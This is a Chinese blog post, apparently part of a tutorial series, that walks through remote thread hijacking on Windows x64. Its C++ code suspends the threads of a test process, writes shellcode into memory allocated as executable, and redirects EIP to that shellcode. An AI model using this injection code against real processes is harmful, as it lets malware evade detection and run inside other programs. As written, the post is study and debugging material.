windows:shellcode 远程线程hook/注入(一)
https://www.cnblogs.com/theseventhson/p/13199381.html 上次分享了通过APC注入方式,让目标线程运行shellcode。这么做有个前提条件:目标线程是alertable的,否则注入了也不会立即被执行,直到状态改为alertable,但笔者暂时没找到能把目标线程状态主动改为alertable的办法,所以只能被动“听天由命”地等。今天介绍另一种远程线程注入的方式:hook 线程;
先说第一种思路,如下:
核心代码解析如下:
1、用于测试的目标进程:这里写个死循环,让其一直运行,方便随时被注入;
- #include <windows.h>
- #include <stdio.h>
- int main()
- {
- printf("dead looping...............\n");
- while (TRUE)
- {
- }
- }
注意:本人测试环境:
win10 x64为了确保安全,默认增加了很多防护,比如控制流防护CFG,编译的时候需要手动改成否,才能让我们注入的shellcode顺利执行;
2、遍历进程,找到目标进程后再遍历该进程名下其他线程:
- HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, );
- HANDLE victimProcess = NULL;
- PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
- THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
- std::vector<DWORD> threadIds;
- HANDLE threadHandle = NULL;
- if (Process32First(snapshot, &processEntry)) {
- while (_wcsicmp(processEntry.szExeFile, L"Thread_Alertable.exe") != ) {
- //while (_wcsicmp(processEntry.szExeFile, L"explorer.exe") != 0) {
- Process32Next(snapshot, &processEntry);
- }
- }
- victimProcess = OpenProcess(PROCESS_ALL_ACCESS, , processEntry.th32ProcessID);
- if (Thread32First(snapshot, &threadEntry)) {
- do {
- if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
- threadIds.push_back(threadEntry.th32ThreadID);
- }
- } while (Thread32Next(snapshot, &threadEntry));
- }
- for (DWORD threadId : threadIds) {
- threadHandle = OpenThread(THREAD_ALL_ACCESS, NULL, threadId);
- if (Wow64SuspendThread(threadHandle) == -) //挂起线程失败
- {
- continue;
- }
- printf("threadId:%d\n", threadId);
- if (InjectThread(victimProcess, threadHandle,buf, shellcodeSize))
- {
- printf("threadID = %d inject success!", threadId);
- CloseHandle(victimProcess);
- CloseHandle(threadHandle);
- break;
- }
- }
3、shellcode代码注入,思路也简单:之前已经已经拿到目标进程和目标线程的句柄,并且已经暂定线程,这里直接GetThreadContext,更改eip为shellcode地址即可;
- BOOL InjectThread(HANDLE hProcess, HANDLE hThread, unsigned char buf[],int shellcodeSize)
- {
- LPVOID shellAddress = VirtualAllocEx(hProcess, NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
- if (shellAddress == NULL)
- {
- printf("VirtualAlloc Error\n");
- VirtualFreeEx(hProcess, shellAddress, , MEM_RELEASE );
- ResumeThread(hThread);
- return FALSE;
- }
- WOW64_CONTEXT ctx = { };
- ctx.ContextFlags = CONTEXT_ALL;
- if (!Wow64GetThreadContext(hThread, &ctx))
- {
- int a = GetLastError();
- printf("GetThreadContext Error:%d\n", a);
- VirtualFreeEx(hProcess, shellAddress, , MEM_RELEASE);
- ResumeThread(hThread);
- return FALSE;
- }
- DWORD currentEIP = ctx.Eip;
- if (WriteProcessMemory(hProcess, (LPVOID)shellAddress, buf, shellcodeSize, NULL) == )
- {
- VirtualFreeEx(hProcess, shellAddress, , MEM_RELEASE);
- printf("write shellcode error\n");
- ResumeThread(hThread);
- return FALSE;
- }
- ctx.Eip = (DWORD)shellAddress;//让eip指向shellcode
- if (!Wow64SetThreadContext(hThread, &ctx))
- {
- VirtualFreeEx(hProcess, shellAddress, , MEM_RELEASE);
- printf("set thread context error\n");
- ResumeThread(hThread);
- return FALSE;
- }
- ResumeThread(hThread);
- return TRUE;
- }
效果:弹出了messagebox:
也在目标进程的目录下生成了文件:
4、最后做一些总结:
- 为了让被注入的目标进程一直运行,刚开始用了sleep,从process hacker看能正常suspend,但无法resume,shellcode也无法执行;后来改成死循环,能正常执行shellcode了;
- shellcode执行完后,从打印的数据来看,貌似又从main开始运行,如下:
从process hacker看,线程并未改变,还是之前的那个:
那么问题来了,shellcode执行完回到主线程后为啥又执行了打印代码?仔细想想,shellcode最后一条有效指令是C3,也就是ret,该指令把栈顶4个字节作为返回地址赋值给eip;既然dead looping打印了两次,说明执行shellcode执行前栈顶被压入了这行代码的地址,这是谁干的了?用IDA打开目标进程分析,如下:
好在自己写的测试进程不复杂,很容易找到答案,分析如下:
(1)由于cpu执行速度很快,注入shellcode的进程(以下简称loader)在执行suspendThread时大概率已经进入while死循环,从上面汇编代码来看,while循环并未改变堆栈,所以shellcdoe执行完后ret的地址肯定不是while循环更改的;
(2)继续往上倒推:add esp,4 这是进入死循环最后一行改变栈顶的代码,为了更直观说明,我画了一个堆栈图,对照代码如下:
从函数入口点开始,改变堆栈,期间有两个call和一个push,这3行指令会改变esp;最后执行完add esp,4后,esp重新指向原edi;shellcode最后一行ret执行时,会从堆栈中该值弹出赋值给eip。那么原edi值又是多少了?用调试器打开测试进程,在main入口断下,发现edi指向的时EntryPoint,也就是说shellcode最后一个ret指令会跳转到这里开始执行;
这里也能看到栈顶是EntryPoint的地址:
5、 这次注入shellcode虽说成功,问题也很明显:
- 手动关闭了CFG检查,但实际情况是CFG默认是开启的,导致shellcode可能无法执行
- 没有设置返回地址,shellcode执行完,返回地址无法控制(这里只是凑巧回到了原EntryPoint);因suspendThread是随机的,context的eip也是随机的,所以shellcode执行完后返回地址也是随机的,这点在shellode无法写死,只能动态获取;我曾经尝试在shellcode末尾添加push+ret方式返回,但suspend的地址可能包含很多00,通过字符串操作的时候可能会被截断,暂时没想到好的解决办法;
- 类似explorer这种系统进程,GetThreadContex大概率会失败,可能做了保护;
后续会通过其他方案挨个解决这些问题!
windows:shellcode 远程线程hook/注入(一)的更多相关文章
- windows:shellcode 远程线程hook/注入(三)
今天介绍第三种远程执行shellcode的思路:函数回调: 1.所谓回调,简单理解: windows出厂时,内部有很多事务的处理无法固化(无法100%预料外部会遇到哪些情况),只能留下一堆的接口,让开 ...
- windows:shellcode 远程线程hook/注入(二)
https://www.cnblogs.com/theseventhson/p/13218651.html 上次分享了基本的远程注入方法,遗留了一个问题:shellcode执行完后怎么回到线程su ...
- windows:shellcode 远程线程hook/注入(五)
前面几篇文章介绍了通过APC注入.进程注入.windows窗口处理函数回调.kernercallback回调执行shellcode,今天继续介绍通过heap Spray(翻译成中文叫堆喷射)执行she ...
- windows:shellcode 远程线程hook/注入(四)
https://www.cnblogs.com/theseventhson/p/13236421.html 这里介绍了利用回调函数执行shellcode的基本原理:这里介绍另外一种利用回调执行she ...
- 《windows核心编程系列》十九谈谈使用远程线程来注入DLL。
windows内的各个进程有各自的地址空间.它们相互独立互不干扰保证了系统的安全性.但是windows也为调试器或是其他工具设计了一些函数,这些函数可以让一个进程对另一个进程进行操作.虽然他们是为调试 ...
- 使用远程线程来注入DLL
使用远程线程来注入DLL DLL注入技术要求我们目标进程中的一个线程调用LoadLibrary来载入我们想要的DLL (1)用OpenProcess函数打开目标进程(2)用VirtualAllocEx ...
- 【windows核心编程】远程线程DLL注入
15.1 DLL注入 目前公开的DLL注入技巧共有以下几种: 1.注入表注入 2.ComRes注入 3.APC注入 4.消息钩子注入 5.远线程注入 6.依赖可信进程注入 7.劫持进程创建注入 8.输 ...
- 实现远程线程DLL注入
### 32位:远程线程注入 远程线程注入是最常用的一种注入技术,该技术利用的核心API是 `CreateRemoteThread()` 这个API可以运行远程线程,其次通过创建的线程调用 `Load ...
- Dll注入:X86/X64 远程线程CreateRemoteThread 注入
远线程注入原理是利用Windows 系统中CreateRemoteThread()这个API,其中第4个参数是准备运行的线程,我们可以将LoadLibrary()填入其中,这样就可以执行远程进程中的L ...
随机推荐
- HDU5961 传递
传递 因为文化课复习实在捉急qwq,题解就一切从简了qwq 简单说一说 上来一看这道题没看出来突破点在哪... 去HDU上看原题,发现原题是带样例的图解的,然鹅还是没找到思路(太菜了吧) 没办法看了一 ...
- Numerical Sequence (Hard vision) 题解
The only difference between the easy and the hard versions is the maximum value of \(k\). You are gi ...
- 使用CodeMirror插件遇到的问题
CodeMirror的正常使用: //首先通过<script>标签引入相应的js,这个就不必说了 var myCodeMirror = CodeMirror.fromTextArea(my ...
- Mysql常用sql语句(23)- update 修改数据
测试必备的Mysql常用sql语句系列 https://www.cnblogs.com/poloyy/category/1683347.html 前言 update 也是DML语句哦(数据操作语言) ...
- Aspose下载图片
/// <summary> /// 把DataTable数据按照Excel模板导出到Excel /// </summary> /// <param name=" ...
- jsp页面中同时遍历多个list集合
在Jsp页面中,我们也许有这样的需求:从后端获取到多个List,但又想将这些List的值同时打印出来 比如, 有用户列表userList,user类有用户ID.用户名.用户性别等基本信息 有用户关系列 ...
- 数据可视化之 图表篇(一)Power BI可视化,几张图表认识疫情现状
近期国际疫情愈演愈烈,在这个特殊的时期,一方面仍要照顾好自己.不要为疫情防治添乱,另一方面,也可以利用疫情数据提升自己的数据分析和可视化技能. 下面是我制作的几个可视化图表,分别注释了每个可视化用到 ...
- python 装饰器(八):装饰器基础(四)types.MethodType的作用
1 types.MethodType的作用—添加实例方法 import types class cla(object): def __init__(self, name, age): self.nam ...
- [Cordova]Cordova6.x自定义插件之Andorid
1.继承了CordovaPlugin的Java Class 需要重写execute方法,如下: 2.在res/xml/config.xml中关联上述java class 3.在assets/www/p ...
- Dubbo测试环境服务调用隔离这么玩对么
背景阐述 前几天,有位同学问我一个关于 Dubbo 的问题.他的诉求是这样子的: 诉求一 第一个诉求是本地开发的时候想自己调用自己的服务,比如自己在改 A 服务,然后出问题了,本地再启动一个 B 服务 ...